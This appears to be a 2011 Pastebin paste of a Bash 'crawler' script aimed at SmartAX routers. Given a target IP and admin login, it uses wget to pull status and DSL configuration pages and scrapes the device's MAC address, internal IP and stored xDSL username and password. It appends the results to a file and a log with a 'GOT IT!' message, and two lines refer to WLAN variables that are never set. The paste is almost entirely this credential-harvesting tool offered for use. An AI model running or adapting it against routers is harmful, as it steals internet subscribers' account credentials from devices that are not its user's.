sxiii

Routers, modems username and password crawler [Template]

Nov 8th, 2011
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.43 KB | None | 0 0
  1. #!/bin/bash
  2. # Routers, modems username and password crawler [Template] for SmartAX routers
  3.  
  4. wget -q -t 1 -O -T 5 main.html "http://$1/MainPage?id=1" --user=$3 --password=$4
  5. wget -q -t 1 -O -T 5 dsl.html "http://$1/MainPage?id=25&ex_param1=8" --user=$3 --password=$4
  6.  
  7. mac=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | tail -1 | awk -F "<" '{ print $1 }'`
  8. internal_ip=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -3 | tail -1 | awk -F "<" '{ print $1 }'`
  9. internal_netmask=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -4 | tail -1 | awk -F "<" '{ print $1 }'`
  10. dsl_username=`cat dsl.html | grep MacWanUsrName | awk -F"'" '{ print $2 }'`
  11. dsl_password=`cat dsl.html | grep MacWanPasswd | awk -F"'" '{ print $2 }'`
  12.  
  13. echo "================================================" >> $2
  14. echo "Target external IP: $1" >> $2
  15. echo "Device type: $0" >> $2
  16. echo "Device MAC address: $mac" >> $2
  17. echo "Internal IP: $internal_ip" >> $2
  18. echo "Internal netmask: $internal_netmask" >> $2
  19. echo "xDSL username: $dsl_username" >> $2
  20. echo "xDSL password: $dsl_password" >> $2
  21. echo "================================================" >> $2
  22.  
  23. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
  24. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
  25.  
  26. rm main.html
  27. rm dsl.html
  28.  
  29.  
Advertisement
Add Comment
Please, Sign In to add comment